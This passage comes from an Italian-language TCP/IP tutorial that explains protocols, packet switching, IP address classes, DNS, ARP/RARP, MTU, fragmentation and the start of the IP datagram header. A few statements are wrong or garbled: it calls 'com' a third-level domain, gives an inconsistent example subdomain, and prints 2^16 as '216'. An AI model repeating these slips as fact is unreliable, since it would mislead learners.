Pippo e figli, ed è perciò un'interfaccia. La segretaria prende la lettera, la mette in una busta aggiungendo il nome del destinatario e la scritta RISERVATO. Queste informazioni sono per la sua controparte nella Pluto e consorte, ed è quindi anch'esso un protocollo. La busta viene quindi passata all'Ufficio Posta dell'edificio secondo la procedura ordinaria (altra interfaccia), il quale aggiunge l'indirizzo completo, il CAP e altre informazioni necessarie alla spedizione, e la passa quindi al corriere, che rappresenta il meccanismo fisico di trasferimento del messaggio. Terzo protocollo.
Quando la lettera arriva, questa viene gestita dall'Ufficio Posta della Pluto e consorte che, dopo aver buttato la busta esterna con l'indirizzo dell'edificio, la passa alla segreteria del direttore. Questa registra l'arrivo della missiva, la toglie dalla busta più interna, e poi consegna la lettera vera e propria al direttore della Pluto e consorte.

È evidente che perché il sistema funzioni bisogna che i vari protocolli siano rispettati da entrambe le aziende. Mentre infatti le interfacce possono essere diverse (ogni azienda ha le sue procedure interne), i protocolli devono essere stati concordati prima, altrimenti alcune informazioni potrebbero andare perse, o addirittura la lettera potrebbe non essere recapitata in tempo. Pensate a una segretaria italiana che riceve una busta da una consociata asiatica con sopra scritto URGENTE in cinese! Ne nasce una considerazione importante. La base di ogni protocollo è il concetto di standardizzazione. Più vasta è l'accettazione dello standard, più forte e diffuso è il protocollo. Gli standard internazionali sono in genere i più importanti, ma non sempre. Un esempio è proprio il TCP/IP, nato per volontà dell'agenzia americana DARPA (Defense Advanced Research Projects Agency) e poi diventato di fatto il maggior sistema di protocolli per l'interconnessione di reti a livello mondiale.
Internet è fatta a strati Internet è basato su tre livelli concettuali: il livello applicativo (Application Services), quello del trasporto (Reliable Stream Transport Service) e quello della spedizione dei pacchetti (Connectionless Packet Delivery Service). Per capire il TCP/IP, è necessario a questo punto capire bene che cosa è Internet. Tanto per cominciare Internet non è una rete di comunicazione. Una rete di comunicazione è in genere legata alle necessità specifiche di chi l'ha disegnata e dell'hardware utilizzato per implementarla. Costruire una rete ideale che vada bene per qualsiasi esigenza, o pensare di poter limitare a un solo tipo di hardware l'implementazione di una qualunque rete non solo non è fattibile, ma neanche auspicabile, date le limitazioni delle tecnologie attuali. A volte è necessario far correre i dati molto velocemente in un ambito molto ristretto, come per esempio all'interno di un edificio. Altre volte si ha l'esigenza di trasmettere dati a migliaia di chilometri di distanza in modo molto affidabile, anche se questo può significare un rallentamento nella velocità di trasmissione. Se si cercasse di utilizzare lo stesso hardware in entrambi i casi, i costi sarebbero assolutamente inaccettabili. La soluzione è l'interconnessione delle reti, o internetworking. Grazie a ponti di collegamento (detti gateway) e la definizione di opportuni protocolli, si possono collegare fra di loro reti anche molto diverse, fornendone agli utenti una visione comune. Questa è la forza di Internet rispetto alle varie reti proprietarie, e di conseguenza del TCP/IP sui vari protocolli proprietari. Il TCP/IP è un insieme di regole pubbliche, aperte a tutti, o come si dice nell'ambiente, un sistema aperto (open system), che permette l'interconnessione di reti anche molto differenti, indipendentemente dalla tecnologia usata da ogni rete. I suoi principali vantaggi sono appunto l'indipendenza dalle tecnologie delle singole reti interconnesse, la possibilità di far comunicare fra di loro ogni computer connesso al sistema, la possibilità di trasmettere conferme di ricezione (acknowledgement) direttamente dal destinatario al mittente, e soprattutto una notevole quantità di protocolli applicativi per qualunque possibile bisogno, come vedremo più avanti. Il TCP/IP definisce quindi una unità di trasmissione dati chiamata datagram, e le regole da seguire per trasmettere un datagram in una particolare rete.
Il principio che sta alla base dell'interconnessione è quello di schermare le applicazioni dalle caratteristiche fisiche delle reti in modo semplice e flessibile. Questo avviene attraverso un livello intermedio che si occupa di spedire e ricevere piccoli pacchetti di dati fra due punti qualsiasi del sistema di reti. Questo meccanismo si chiama packet-switching. Esso consiste nella divisione di ogni messaggio in un certo numero di pacchetti di dati. Ogni pacchetto è formato da poche centinaia di byte, e contiene una intestazione che fornisce informazioni sul destinatario e su come raggiungerlo. Questo meccanismo ha il vantaggio di ottimizzare l'utilizzo della rete, parallelizzando la trasmissione di più messaggi contemporaneamente. Lo svantaggio è che ogni nuovo sistema che si aggancia alla rete per trasferire dati riduce la disponibilità della rete per tutti gli altri sistemi già connessi. Una rete infatti ha una certa capacità ben definita, che dipende sostanzialmente dalla tecnologia hardware e software che utilizza. Tale capacità viene misurata in bit per second (bps). Questa grandezza non rappresenta la velocità dei dati in rete, come si potrebbe pensare in prima istanza, bensì dà una misura del numero massimo di bit che possono essere trasmessi nella rete in un secondo. La velocità reale di un singolo messaggio dipende da tanti fattori, come il numero di sistemi che stanno utilizzando la rete, la qualità

delle connessioni e di conseguenza il numero di tentativi necessari per trasferire correttamente i dati, le modalità di trasmissione e i dati aggiuntivi necessari al trasferimento degli stessi.
Ci sono altri modi per trasferire dati in una rete: per esempio, quando fate una telefonata, la rete stabilisce un collegamento diretto fra il vostro telefono e quello della persona chiamata. A questo punto il telefono incomincia a campionare il microfono della vostra cornetta in modo continuo, trasferendo il segnare al ricevitore all'altro capo. Il tutto a 64.000 bit per secondo, che è la velocità di campionamento necessaria a digitalizzare la voce. Questo avviene comunque, indipendentemente dal fatto che stiate parlando o meno. Anche se state in silenzio la linea è saturata al massimo della sua capacità. Questo meccanismo è detto circuit-switching. Al contrario del meccanismo usato dal TCP/IP, quello cioè a pacchetti, la linea è completamente assegnata alla comunicazione in atto, per cui il fatto che altri stiano telefonando non riduce la capacità della connessione. D'altra parte la linea è utilizzata completamente indipendentemente dal fatto che ci siano o meno dati da trasferire. Di qui gli elevati costi di tale meccanismo. La telefonata, infatti, la pagate lo stesso sia che parliate molto velocemente, sia che stiate completamente in silenzio. Questo meccanismo è troppo costoso per una rete informatica, specialmente se si tiene conto che la disponibilità di tecnologie hardware sempre più raffinate e veloci per il trasferimento dei dati bilanciano in buona parte quello che è uno dei punti deboli del sistema a pacchetti, e cioè l'impossibilità di garantire a ogni utente e in ogni momento una certa capacità di trasferimento ben definita.
Torniamo al sistema a pacchetti. Per trasferire dati da un sistema a un altro ogni sistema ha un nome unico ben definito. Non esistono cioè due sistemi con lo stesso nome, anche se in reti diverse, indipendentemente da quale è il nome locale di un sistema nella sua rete di appartenenza. All'interno di ciascuna rete, i vari computer usano la tecnologia hardware e software specifica di quella rete. Tuttavia, grazie a questo strato intermedio di software, le varie applicazioni hanno una visione unica e globale del sistema interconnesso di reti, detto appunto internet. Notate la "i" minuscola. Il concetto di internet è infatti quello appena descritto. Viceversa Internet con la "I" maiuscola, identifica quel sistema di reti, basato sull'architettura internet, che viene detto anche Connected Internet.
La connessione tra due reti avviene attraverso macchine opportune che sono collegate fisicamente a entrambe le reti, e hanno la responsabilità di far passare i vari pacchetti da una rete all'altra e viceversa. Tali macchine sono dette internet gateway, o anche IP router. Sono loro il vero elemento portante di una internet. Ogni router non solo deve sapere che determinati pacchetti vanno passati da una rete a un'altra, ma deve passare dall'altra parte anche pacchetti destinati a ulteriori reti connesse attraverso altri router. Essi però ragionano solo in termini di reti, non di destinazione finale. A un router non interessa chi è effettivamente il destinatario di un pacchetto, ma solo a quale rete appartiene. Questo semplifica molto l'implementazione di un router. Alla base del meccanismo dei router c'è l'indirizzo IP, o IP address.
Ogni cosa che conosciamo ha un nome. Cane, casa, auto, e via dicendo. Se ci interessa specificare meglio ciò di cui stiamo parlando, possiamo assegnare un nome anche a un sottogruppo di cose. Così abbiamo che i cani bassotti sono alquanto diversi dai San Bernardo, una catapecchia non è certo una villa, e una Ferrari costa un po' più di una Cinquecento. Se poi dobbiamo identificare una cosa in modo chiaro e univoco, è necessario assegnarle un nome che solo quella cosa ha. Già un nome come Mario Rossi non va bene, perché non è unico, e comunque, anche se scegliessimo oggi un nome veramente strano e originale, non avremmo la garanzia in futuro di non ritrovarci con un caso di omonimia. Ecco allora le targhe per le automobili, i codici fiscali per le persone, i numeri di telefono, e via dicendo. Ognuno di questi nomi ha tre caratteristiche. La prima è che esiste un organo competente centrale che li assegna, proprio per garantirne l'univocità. La seconda, è che hanno una struttura a sottogruppi. Esistono cioè degli elementi che garantiscono l'univocità a un certo livello, all'interno del quale esiste una certa libertà di scelta, e così via, livello dopo livello. Per esempio, il codice fiscale viene costruito in modo che un uomo e una donna non possano mai avere lo stesso codice, anche se fossero nati lo

stesso giorno, nella stessa città e si chiamassero nello stesso modo. Similmente, i numeri di telefono di due città diverse si distinguono per il prefisso e se queste si trovano anche in stati diversi, per il prefisso internazionale.
Affinché internet possa rappresentare un sistema universale di comunicazione, permetta cioè di far comunicare qualunque macchina connessa a una delle sue reti con una qualsivoglia altra macchina connessa alla stessa o a un'altra rete, è necessario fornire ogni macchina di un nome unico a livello globale. Internet fornisce ogni sistema di un nome, che identifica il sistema stesso, di un indirizzo, che mi dice dove si trova il sistema, e di un cammino, che mi dice come raggiungere il sistema. Ogni macchina connessa a una rete è detta host, nella terminologia internet. Lo stesso termine ha significati differenti in altri contesti informatici, come per esempio in quello client/server, o nel caso di mainframe. Attenzione a non fare confusione quindi. In internet un host può essere anche un vecchio 8088 con 640K di RAM e 10M di disco fisso.
L'indirizzo, o IP address, è un campo composto da 32 bit. I primi bit permettono di distinguere 5 forme standard identificate da una lettera del alfabeto, e dette classi. Le prime tre classi dell'IP address contengono sia l'indirizzo di una rete (netid), sia quello di una macchina nella stessa (hostid). In realtà l'indirizzo non identifica necessariamente una macchina, ma una connessione alla rete. Per esempio, un router ha almeno due indirizzi, avendo connessioni ad almeno due reti. Questo in quanto un router appartiene a entrambe le reti, e quindi sono necessari due indirizzi dato che un IP address ha posto per un solo indirizzo di rete. Se l'indirizzo dell'host è 0, allora l'IP address si riferisce alla rete stessa. Se viceversa tutti i bit riservati all'indirizzo dell'host sono 1, allora l'indirizzo viene utilizzato per identificare tutti gli host della rete (broadcasting). Uno speciale indirizzo formato da 32 bit posti a uno è chiamato local network broadcast address e serve solo in casi molto particolari. Il concetto di broadcasting è quello della diffusione a tutto raggio, un po' come fa un'emittente radiofonica. In generale internet interpreta i campi formati da tutti uno come all, cioè "tutti", mentre quelli formati da tutti zero come this, cioè "questo", "qui". Questo per quanto riguarda le classi A, B e C. La classe D è usata per un particolare tipo di distribuzione dei dati detto multicasting. La classe E è riservata a usi futuri. Dato che specificare ogni singolo bit di un indirizzo IP sarebbe alquanto poco pratico e di scarsa leggibilità, la convenzione è quella di leggere ogni ottetto, cioè ogni gruppo di 8 bit, come un intero, e di separare i quattro ottetti con un punto. Oltre a i casi speciali già descritti, l'indirizzo di classe A 127.0.0.0 è riservato per un particolare processo di test che rimanda indietro i dati al mittente senza propagarli nella rete.
Uno dei vantaggi di questo schema è la possibilità da parte dell'organismo centrale che assegna gli indirizzi (Network Information Center) di delegare ai responsabili delle singole reti l'assegnazione di una parte dell'indirizzo all'interno della rete stessa. La cosa avviene un poco come con i numeri di telefono. A livello internazionale ogni stato ha il suo prefisso internazionale. Per esempio, per l'Italia, è 39. All'interno ogni stato divide il paese in aree geografiche a cui assegna un ulteriore codice. Per esempio, Roma è identificata dal 6, Milano dal 2, Firenze da 55, e così via. All'interno poi della provincia o della città possono essere definite ulteriormente sottoaree a cui si assegnano due, tre o quattro cifre. Per esempio 529 oppure 7054. Infine ogni telefono in tali aree avrà il suo numero. Così, se Mr. Smith deve chiamare dagli Stati Uniti il signor Mario Rossi abitante all'EUR, a Roma, comporrà per esempio il numero 011.39.6.529.4467. In questo caso lo 011 serve per uscire dagli USA, un po' come il nostro 00.
Analogamente in internet i numeri di classe C sono assegnati alla piccole reti, quelle cioè con meno di 256 host, quelli di classe B alle reti con al massimo 65536 host, e quelli di classe A alle reti con oltre 16 milioni di host. Ogni rete decide poi come suddividere gli indirizzi che gli sono stati riservati al suo interno come meglio crede. Ovviamente, una internet privata non ha la necessità di seguire queste regole, né a utilizzare indirizzi assegnati dal NIC, ma il non farlo potrebbe impedire in futuro la connessione alla TCP/IP Internet.

Dato che l'indirizzo può essere a volte abbastanza ostico da ricordare, è possibili associare a ogni host anche un nome, che può essere utilizzato come mnemonico per un IP address, e la cui risoluzione è responsabilità di particolari macchine chiamate name server. In realtà il name server è un programma software che può girare in qualunque macchina connessa alla rete, e che mantiene l'associazione tra nomi e indirizzi IP, fornendo tali corrispondenze quando richiesto da un altro programma chiamato name resolver. Di fatto, si preferisce far girare il name server su una macchina dedicata, che prende anch'essa, a questo punto, il nome di name server. Potete pensare al name server come a una agenda telefonica elettronica, che contiene una lista parziale di nomi e numeri telefonici. In internet infatti, non esiste un singolo elenco telefonico, ma tanti name server che cooperano per fornire quello che è un vero e proprio elenco distribuito. In realtà il sistema funziona in modo gerarchico, un po' come se una certa agenda contenesse solo i prefissi internazionali e il puntatore alle agende di ogni singolo stato, le quali a loro volta contengono i prefissi regionali e i puntatori agli elenchi regionali, e così via, fino ad arrivare all'agenda che contiene solo le estensioni telefoniche di un singolo edificio.
I nomi Internet sono basati su una serie di regole dette Domain Name System (DNS), che si basa appunto su uno schema gerarchico in cui il nome è suddiviso in varie parti separate fra loro da punti. Per esempio, vnet.ibm.com. Ogni suffisso è a sua volta un dominio. Quindi, nel nostro esempio, ibm.com è un dominio di secondo livello, mentre com è un dominio di terzo livello. I domini ufficiali riconosciuti dal NIC al livello più elevato sono riportati in tabella 1. Una rete può richiedere di essere registrata come categoria, oppure usando il dominio geografico. Per esempio, l'Italia ha come dominio base it. Supponiamo che il governo decida di costruire un insieme di reti cittadine interconesse fra loro e connesse a Internet. Si può pensare di assegnare a ogni provincia un dominio xxxxxx.it. Per esempio, Firenze avrebbe come dominio firenze.it. L'università di Firenze potrebbe registrare la sue rete come unifi.edu, e in tal caso sarebbe direttamente il NIC a dover dare l'autorizzazione per tale nome, essendo il dominio edu sotto responsabilità dell'organismo centrale di controllo, oppure potrebbe decidere di far parte del dominio cittadino, come unifi.firenze.it, e quindi potrebbe richiedere il permesso di registrare tale nome direttamente all'amministratore del dominio di Firenze. A questo punto, se il dipartimento di Fisica di Arcetri vuole registrare un proprio dominio, deve chiederlo solo all'Università stessa, ricevendo così, per esempio, arcetri.usf.fi.it oppure fisica.usf.fi.it.
Esiste una piccola complicazione. Ogni oggetto connesso alla rete ha un tipo. Oggetti di tipo diverso possono avere lo stesso nome. Per cui, per poter risolvere un nome e ottenere indietro l'indirizzo IP, è necessario anche specificare il tipo di oggetto: macchina, utente, casella postale, e via dicendo. Dal solo nome non è possibile evincere il tipo di oggetto.
Il DNS definisce anche come associare i nomi agli indirizzi IP, e come ottenere quest'ultimi dal nome. In realtà lo schema è ancora più generale di quanto può sembrare, in quanto permette di estendere la sintassi del nome per usi specifici, sfruttando anche il concetto di tipo. Per esempio, nel caso di una casella postale (tipo MX), il nome sarà del tipo utente@dominio.
Per esempio ddejudicibus@tecnet.it
Innanzi tutto una internet è un sistema di interconnessione fra reti differenti che utilizza sia sistemi dedicati per la connessione, detti gateway, sia uno strato (layer) di protocolli che mostrano alle applicazioni una visione omogenea di una rete virtuale e che sono basati sulla trasmissione di piccoli pacchetti di dati. Ogni pacchetto porta con sé l'indirizzo del destinatario il quale identifica univocamente sia la rete di destinazione che la connessione alla quale deve essere recapitato il pacchetto. Un sistema connesso a più reti della stessa internet avrà quindi più indirizzi IP. Un opportuno software, spesso installato su macchine dedicate, permette di associare a ogni indirizzo un nome di più facile utilizzo da parte degli utenti del sistema. Il formato di questo nome si basa su un insieme di regole dette DNS. Quella che è universalmente conosciuta come Internet è di fatto la principale rete interconnessa esistente, che si estende praticamente su tutto il pianeta.

Data questa premessa, vediamo di approfondire la trattazione dei protocolli TCP/IP. Innanzi tutto qualunque trasferimento di dati implica la trasmissione di bit da un sistema a un altro. Tali dati devono essere correttamente interpretati dai vari sistemi connessi alla rete. Data l'enorme varietà di hardware e di sistemi operativi questo è tutt'altro che banale. Nei protocolli di trasmissione i bit vengono convenzionalmente raggruppati per multipli di otto, detti ottetti. Una volta questo corrispondeva al bus da 8 bit, cioè un byte, tipico dei computer. Oggi la maggior parte dei computer usa parole di almeno 32 bit. Tuttavia non tutte le macchine memorizzano tali parole nello stesso modo. Esistono vari modi per memorizzare un intero rappresentato da 32 bit. In quello detto Little Endian, la posizione più bassa in memoria contiene il byte di ordine più basso dell'intero. Nei sistemi Big Endian avviene esattamente il contrario, cioè la posizione più bassa in memoria contiene il byte di ordine più elevato. In altri sistemi ancora il raggruppamento viene fatto con parole da 16 bit, in cui la parola meno significativa viene appunto prima. Il risultato è lo stesso del Little Endian ma con i byte invertiti all'interno di ogni singola parola. È evidente che non è pensabile che sia la rete a gestire tutti questi modi diversi di interpretare i dati, anche perché di solito i protocolli di trasmissione non entrano nel merito di come ragionano i singoli sistemi, ma si occupano solamente di trasferire in modo più o meno affidabile i dati a loro affidati. Ne consegue la necessità di definire un formato standard valido per tutti i dati che corrono lungo i collegamenti, lasciando a i vari sistemi il compito di effettuare le opportune conversioni locali. Lo standard internet prevede che gli interi vengano trasmessi a partire dal byte più significativo, secondo lo stile del Big Endian.
Così in un pacchetto, un intero ha il byte più significativo verso la testa del pacchetto e quello meno significativo verso la coda dello stesso.
A questo punto i sistemi sono in grado di scambiarsi i dati in modo non equivoco. Ma come fa a sapere la rete internet che un sistema è collegato, e soprattutto, come avviene l'associazione tra l'IP address e l'indirizzo fisico di rete? Ogni rete fisica infatti ha un suo formato per gli indirizzi fisici assegnati alle connessioni di rete. In generale esistono due modi di assegnare indirizzi fisici alle macchine connesse in rete. In una rete piccola, come può essere una Token Ring, cioè un anello di un paio di centinaia di macchine al massimo, a ogni connessione può essere assegnato un intero basso, per esempio compreso tra 1 e 254. Questo sistema ha il vantaggio di associare l'indirizzo fisico alla connessione piuttosto che alla scheda che permette la stessa. Per cui, se la scheda si rompe, l'utente può cambiarla senza dover tuttavia modificare l'indirizzo fisico di rete, purché imposti sulla nuova scheda lo stesso indirizzo di quella vecchia. Lo svantaggio è che non esiste alcun controllo che impedisca a due utenti sulla stessa rete di impostare lo stesso indirizzo fisico, creando così una collisione. In altri tipi di reti, come per esempio Ethernet, ogni scheda ha già preimpostato da parte del costruttore un indirizzo fisico fisso, per cui non c'è alcun rischio di collisione, ma cambiare la scheda vuol dire dover necessariamente cambiare indirizzo fisico. Inoltre, dato che questo indirizzo è unico non solo fra le schede installate su una certa rete, ma in assoluto fra tutte le schede costruite, esso è generalmente molto lungo. Nel caso di Ethernet è di ben 48 bit.
Associare un IP address a un sistema con indirizzi formati da piccoli numeri e per giunta tali che a parità di connessione l'indirizzo non cambia mai, come nel caso di una rete proNET-10, è molto semplice. Per esempio, per un IP address di classe C, si può usare l'indirizzo fisico come host identifier. Così, se la rete ha IP address del tipo 10.214.32.x, l'host con indirizzo fisico 16 avrà IP address 10.214.32.16. Un altro paio di maniche è gestire indirizzi molto più lunghi dei 32 bit utilizzati per gli indirizzi internet, e per giunta che possono cambiare nel tempo a parità di connessione. Ovviamente si potrebbe tenere da qualche parte una tabella per gli accoppiamenti, e di fatto si fa così, ma non è certo molto pratico pensare che qualcuno la tenga aggiornata a mano. Il problema è stato risolto efficacemente utilizzando un meccanismo di risoluzione dinamica implementato dal protocollo ARP, o Address Resolution Protocol.

ARP funziona più o meno così. Quando un host deve spedire un pacchetto a un certo destinatario, spedisce a tutti gli host nella stessa rete fisica un messaggio in cui chiede chi è l'host con quel ben preciso IP address. Nello stesso messaggio mette anche i propri indirizzi, sia quello fisico che quello IP. Si adopera cioè una tecnica di broadcasting. L'host il cui IP è quello cercato, rimanda indietro al richiedente il proprio indirizzo fisico, permettendo così l'associazione tra i due. Ciò è possibile in quanto esso ha comunque ricevuto anche l'indirizzo fisico del mittente. Ma allora per ogni pacchetto che va spedito a un certo IP address è necessario prima mandare un pacchetto a tutti gli host nella rete? E perché allora non mandare direttamente il pacchetto da trasmettere a tutti, invece di chiedere prima chi è che ha un certo indirizzo IP? Ovviamente la cosa non funziona così, anche perché si rischierebbe di appesantire inutilmente la rete con pacchetti che vengono recapitati ai sistemi sbagliati. Quello che si fa è di mantenere presso ogni host una tabella con tutti gli accoppiamenti già trovati, e di aggiornarla periodicamente per evitare che diventi obsoleta. A questo punto i meccanismi di broadcasting servono ad aggiornare tali tabelle. Per esempio, se un host deve spedire un pacchetto a un certo indirizzo IP, prima controlla nella sua tabella se non ha già l'indirizzo fisico del destinatario. Solo nel caso l'informazioni manchi, l'host spedisce a tutti gli altri host il messaggio di richiesta. Quando questo arriva a un qualunque host, sia esso il vero destinatario o no, ogni host aggiorna la sua tabella con l'indirizzo fisico e quello IP del mittente, tanto per guadagnare tempo. Il destinatario, in più, spedisce indietro anche il suo indirizzo fisico al mittente, così da potergli permettere di aggiornare la sua tabella di indirizzi. Un'ulteriore tecnica che si usa per assicurarsi che tali tabelle siano sempre aggiornate, è quella di far distribuire la propria
coppia di indirizzi, fisico ed IP, ogni qual volta un sistema si connette alla rete, per esempio al reboot. ARP non viene considerato propriamente un protocollo internet, quanto un meccanismo della rete fisica. Su ARP si basa il protocollo IP per far comunicare fra loro le varie macchine quando non è possibile risolvere in altro modo gli indirizzi IP in indirizzi fisici. Un protocollo analogo è il RARP, o Reverse Address Resolution Protocol, con il quale una macchina senza disco fisso (diskless) è in grado di conoscere il proprio indirizzo IP a partire da quello fisico. Per far ciò la rete deve avere uno o più RARP Server, i quali contengono una tabella di associazione fra gli indirizzi IP e quelli fisici di tutte le macchine diskless. Anche questo protocollo si basa su un messaggio mandato in broadcasting. L'esistenza di questo protocollo è legata al fatto che una macchina diskless non può memorizzare il proprio indirizzo IP in alcun posto, non avendo memoria secondaria.
E veniamo ora al TCP/IP vero e proprio. Come detto prima l'architettura internet è basata su tre livelli. L'Application Services è il livello più alto, cioè quello delle applicazioni. I programmi che utilizzate quando usate internet ricadono in questo livello. Il Reliable Stream Transport Service è il livello intermedio. Esso si occupa dell'affidabilità della comunicazione, gestendo gli errori di trasmissione e la perdita di eventuali dati. Esso inoltre fornisce una visione della comunicazione ad alto livello, in cui esiste una connessione tra i due host che si trasmettono grandi volumi di dati. Il livello più basso, chiamato Connectionless Packet Delivery Service è quello che effettua la spedizione vera e propria dei singoli pacchetti, senza garantire l'affidabilità sulla singola trasmissione, nella modalità detta connectionless.
Il protocollo su cui si basa il livello più basso della torre internet è appunto l'Internet Protocol, o IP. Tale protocollo si basa su alcuni concetti fondamentali. Innanzi tutto il servizio che fornisce è detto unreliable, cioè inaffidabile, in quanto non dà alcun garanzia che il singolo pacchetto arrivi effettivamente a destinazione. In secondo luogo è detto connectionless, cioè senza connessione diretta, in quanto la trasmissione non avviene direttamente verso il destinatario, ma il messaggio è lanciato nella rete lasciando poi a questa il compito di portarlo a destinazione utilizzando l'indirizzo IP dell'host destinatario. Infine si parla di best-effort delivery, cioè spedizione al meglio delle possibilità, in quanto la rete fa tutto il possibile per portare comunque a destinazione il pacchetto. In pratica l'IP si comporta come un naufrago su un'isola deserta che lancia nella corrente un messaggio in una bottiglia per un

tizio che si trova su di un'altra isola dello stesso arcipelago, contando sul fatto che se la bottiglia arriva sull'isola sbagliata qualcuno ributterà a mare il messaggio fintanto che non arriverà a destinazione. Detta così c'è quasi da stupirsi che internet funzioni così bene. Anzi, che funzioni del tutto! In realtà non dimentichiamoci che sopra al livello più basso ce n'è un altro che garantisce appunto l'affidabilità della comunicazione. Torniamo comunque all'IP. Esso è formato da tre regole base: come è fatto il pacchetto da trasmettere, detto IP datagram, come avviene la scelta del cammino che il pacchetto segue per raggiungere il destinatario, come gli host e i gateway devono trattare i pacchetti e in particolare le modalità per l'emissione dei messaggi di errore e quelle per la soppressione dei pacchetti.
Prima però di entrare nel dettaglio dei singoli campi, vediamo come si comporta l'IP nella gestione dei pacchetti di dati. Questo ci permetterà più avanti di comprendere meglio il significato di alcuni campi dell'IP datagram.
Innanzi tutto va ricordato che l'IP è un protocollo unreliable, non dà cioè alcuna garanzia che il singolo pacchetto arrivi effettivamente a destinazione, ed è connectionless, ovverosia il messaggio non viene spedito direttamente al destinatario ma viene immesso nella rete lasciando poi a questa il compito di portarlo a destinazione. Esso inoltre è di tipo best-effort delivery, in quanto la rete fa tutto il possibile per portare comunque a destinazione il pacchetto.
Detto questo, vediamo come avviene la trasmissione vera e propria dei dati. L'unità fisica di trasferimento dei dati in una rete è la frame. Questa è composta di due parti: l'intestazione (header) e l'area dati (data area). L'unità di misura è invece l'ottetto, formato da otto bit, cioè un byte. Ogni rete fisica ha un limite massimo di capacità di trasferimento per un singolo frame, detto Maximum Transfer Unit (MTU). L'MTU è cioè il massimo numero di ottetti di dati che può essere trasferito in un singolo frame. Per esempio, Ethernet ha generalmente una MTU di 1.500 ottetti (1492 secondo lo standard IEEE 802.3). Questo vuol dire che se si devono spedire 2.000 byte di dati via Ethernet, è necessario spezzarli in due blocchi tali che ogni blocco sia minore o uguale a 1.500. A ogni blocco si aggiunge poi l'intestazione del frame. Dal punto di vista della rete fisica l'IP datagram è un blocco di dati. La rete fisica ignora cioè come tali dati vengano utilizzati dall'IP. Quindi, il primo compito di IP è quello di decidere come costruire il datagram affinché possa essere trasmesso in un frame fisico. L'ideale sarebbe di poter mettere un singolo datagram in ogni frame, ottimizzando così la trasmissione e semplificando la logica. Ma quale frame? Quello della rete di partenza? Quello della rete di arrivo? E se durante la trasmissione il datagram deve passare attraverso più reti con MTU differenti? Il punto è che non c'è modo di fare una scelta che assicuri di avere un datagram per frame. D'altra parte internet ha come obiettivo quello di svincolarsi dalle caratteristiche fisiche delle varie reti interconnesse fra loro. E allora? La soluzione adottata è molto semplice. Le dimensioni del datagram sono scelte convenzionalmente secondo una logica del tutto indipendente dalle MTU delle singole reti fisiche, dopodiché, a seconda della rete in
cui il datagram deve passare, questo è spezzato in più pezzi di dimensioni inferiori alla MTU della rete fisica, detti frammenti (fragment).
Il datagram è anch'esso un frame, che potremmo chiamare logico per distinguerla da quello usata da una specifica rete fisica per trasmettere i dati. Come tale anch'esso è formato da una intestazione e da un'area dati. All'atto della frammentazione, ogni frammento viene costruito replicando l'header del datagram, modificandone alcuni campi che vedremo in seguito, e aggiungendo a questo un pezzo dell'area dati originaria. L'aspetto più importante di questo meccanismo è che il riassemblaggio dei frammenti non viene effettuato quando i vari frammenti rientrano in una rete fisica ad alto MTU, ma sempre e comunque presso l'host di destinazione. Così, se due reti con MTU uguale a 1.500 ottetti sono separate da una rete con MTU più bassa, per esempio 500 ottetti, i frammenti che arriveranno a destinazione saranno di soli 500 ottetti. In questo caso la frammentazione avviene nel primo gateway mentre il riassemblaggio avviene solo nell'host di destinazione. Il protocollo IP richiede che sia gli host che i gateway siano capaci di gestire datagram di almeno 576 ottetti. In aggiunta, questi ultimi devono

essere capaci anche di gestire datagram grandi quanto l'MTU più grande tra quelle delle reti a cui sono connessi. Ricordiamo che un gateway, per definizione, ha almeno due connessioni e quindi almeno due indirizzi IP.
Il punto debole di questo meccanismo è che la perdita di anche un solo frammento comporta la perdita dell'intero datagram. Dato che ogni frammento è trasmesso indipendentemente, passare attraverso reti a bassa MTU comporta un'elevata frammentazione anche nelle reti a maggiore MTU e comunque aumenta i rischi di perdita dei dati. Quando un frammento arriva a destinazione, e non è detto che il primo arrivi per primo, l'host fa partire un timer. Se questo scade prima che tutti i frammenti siano arrivati, il sistema cancella tutti i frammenti e considera perduto il datagram. Il concetto di timer e di tempi è estremamente importante per l'IP ed è spesso usato per ottimizzare la rete. Per esempio, ogni datagram ha una scadenza. Se il datagram è ancora all'interno della rete quando il suo tempo è scaduto, esso viene cancellato definitivamente. Lo scopo è quello di evitare che un pacchetto possa restare all'infinito in internet a causa di un errore in una routing table. Queste tabelle infatti servono a gestire il processo di instradamento del pacchetto nella rete. Se una o più tabelle sono sbagliate, si potrebbero creare cammini chiusi in cui i datagram potrebbero rimanere intrappolati. Veniamo finalmente al formato del datagram. Come si è già detto esso è composto di un'intestazione e di un'area dati. L'area dati contiene semplicemente una parte dei dati da trasmettere. Questo in quanto il datagram è piccolo mentre l'oggetto da trasmettere può essere anche molte centinaia di Kilobyte, se non addirittura migliaia, come per esempio un'immagine o un file compresso. L'intestazione è invece alquanto più complessa. Vediamola in dettaglio.
I primi 4 bit contengono la versione del protocollo IP che è stato utilizzato per creare il datagram. Infatti, come spiegato nella prima parte di questo corso, il tutto funziona se e solo se tutti seguono le stesse regole alla lettera. D'altra parte le convenzioni, e di conseguenza i protocolli, seguono un processo di evoluzione, per cui un datagram creato con una versione più recente potrebbe creare problemi a un protocollo più vecchio se questi non avesse modo di accorgersene in tempo. I 4 bit successivi danno la lunghezza dell'intestazione misurata in parole da 32 bit. Questa è necessaria agli algoritmi usati per leggere il datagram (parsing algorithms). Dato che i campi dell'intestazione potrebbere non risultare un multiplo intero di 32, è necessario porre alla fine dell'intestazione un campo di riempimento. Inoltre il programma di ricezione ha bisogno di conoscere anche la lunghezza totale del datagram, cioè la lunghezza dell'intestazione più quella dell'area dati. Questa è memorizzata nei bit dal 16 al 31 inclusi, e il suo valore è espresso in ottetti, al contrario del precedente. Poichè il campo è lungo 16 bit, il datagram non può essere più grande di 216 ottetti, cioè 65.535 byte.
